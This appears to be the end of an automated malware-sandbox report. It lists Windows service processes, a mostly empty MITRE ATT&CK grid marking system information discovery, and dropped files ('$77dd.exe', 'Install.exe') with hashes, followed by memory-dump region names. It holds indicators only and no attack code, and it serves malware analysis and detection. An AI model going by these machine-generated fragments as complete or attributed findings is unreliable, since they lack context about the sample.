C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:1440

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4736

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:5092

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2024

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4576

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

$77dd.exe

Path C:\Users\Admin\AppData\Roaming\$77dd.exe
Size 64KB
SHA256 6b150a67cf6e3389db717ded066f37a4229e3737e4c2c7dcab8a7e00fa56813a
MD5 f76441f7e0363292c44dc221f7bd835b
SHA1 034f2d9a465dba4bf32a5934ee365084a0bf3e00
SHA512 16469c98102a209c78726ccb87825160c6c8a7a5eb0de9b5ebfe3a5ff5d2454232bda108b07df2bc2effb991e39622425ac8fd003c0eaa15f70c203bbeb45376
SSDEEP 1536:TjGbVdy0OI6TpbTl9bUbMd6pn5ksGaOe4gB+:T0X8I6Tpl9bUwdsZGaOLp
MD5 SHA1 SHA512 SSDEEP

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Install.exe

Path C:\Users\Admin\AppData\Roaming\Install.exe
Size 163KB
SHA256 b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5
MD5 1a7d1b5d24ba30c4d3d5502295ab5e89
SHA1 2d5e69cf335605ba0a61f0bbecbea6fc06a42563
SHA512 859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa
SSDEEP 3072:TQpsSyjlzA664oL8tIoDJxGtIVORPrdAHjl3+uwF+iBDZ/wXxnTFKe8kaz:TQpsSyjlzfnoNGxGo6PrdAHwtMxn4e8N
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_ahpja1vn.mtc.ps1

Path C:\Windows\Temp\__PSScriptPolicyTest_ahpja1vn.mtc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/468-82-0x00000267A8D40000-0x00000267A8D6B000-memory.dmp

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memory/468-88-0x00000267A8D40000-0x00000267A8D6B000-memory.dmp

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memory/468-89-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp

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memory/644-47-0x0000026F9CE70000-0x0000026F9CE95000-memory.dmp

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memory/644-49-0x0000026F9CEA0000-0x0000026F9CECB000-memory.dmp

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memory/644-55-0x0000026F9CEA0000-0x0000026F9CECB000-memory.dmp

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memory/644-48-0x0000026F9CEA0000-0x0000026F9CECB000-memory.dmp

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memory/644-56-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp

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memory/696-60-0x0000019BD1E40000-0x0000019BD1E6B000-memory.dmp

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memory/696-66-0x0000019BD1E40000-0x0000019BD1E6B000-memory.dmp

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memory/696-67-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp

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memory/788-93-0x000001A55D8D0000-0x000001A55D8FB000-memory.dmp

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memory/1000-71-0x0000026C31DC0000-0x0000026C31DEB000-memory.dmp

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memory/1000-77-0x0000026C31DC0000-0x0000026C31DEB000-memory.dmp

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memory/1000-78-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp

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memory/1552-37-0x0000000140000000-0x0000000140008000-memory.dmp

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memory/1552-36-0x0000000140000000-0x0000000140008000-memory.dmp

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memory/1552-42-0x00007FFA6A2E0000-0x00007FFA6A4E9000-memory.dmp

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memory/1552-43-0x00007FFA690D0000-0x00007FFA6918D000-memory.dmp

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memory/1552-39-0x0000000140000000-0x0000000140008000-memory.dmp

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memory/1552-44-0x0000000140000000-0x0000000140008000-memory.dmp

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memory/1552-41-0x0000000140000000-0x0000000140008000-memory.dmp

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memory/1552-38-0x0000000140000000-0x0000000140008000-memory.dmp

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memory/2072-0-0x00007FFA49493000-0x00007FFA49495000-memory.dmp

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memory/2072-1-0x00000000003D0000-0x0000000000412000-memory.dmp

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memory/2256-33-0x000001F59C800000-0x000001F59C82A000-memory.dmp

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memory/2256-29-0x000001F59C340000-0x000001F59C362000-memory.dmp

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memory/2256-34-0x00007FFA6A2E0000-0x00007FFA6A4E9000-memory.dmp

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memory/2256-35-0x00007FFA690D0000-0x00007FFA6918D000-memory.dmp

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memory/4728-23-0x00007FFA49490000-0x00007FFA49F52000-memory.dmp

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memory/4728-22-0x00000000000D0000-0x00000000000E6000-memory.dmp

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memory/4728-678-0x00007FFA49490000-0x00007FFA49F52000-memory.dmp

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memory/4728-680-0x00007FFA49490000-0x00007FFA49F52000-memory.dmp

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memory/4728-681-0x00007FFA49490000-0x00007FFA49F52000-memory.dmp

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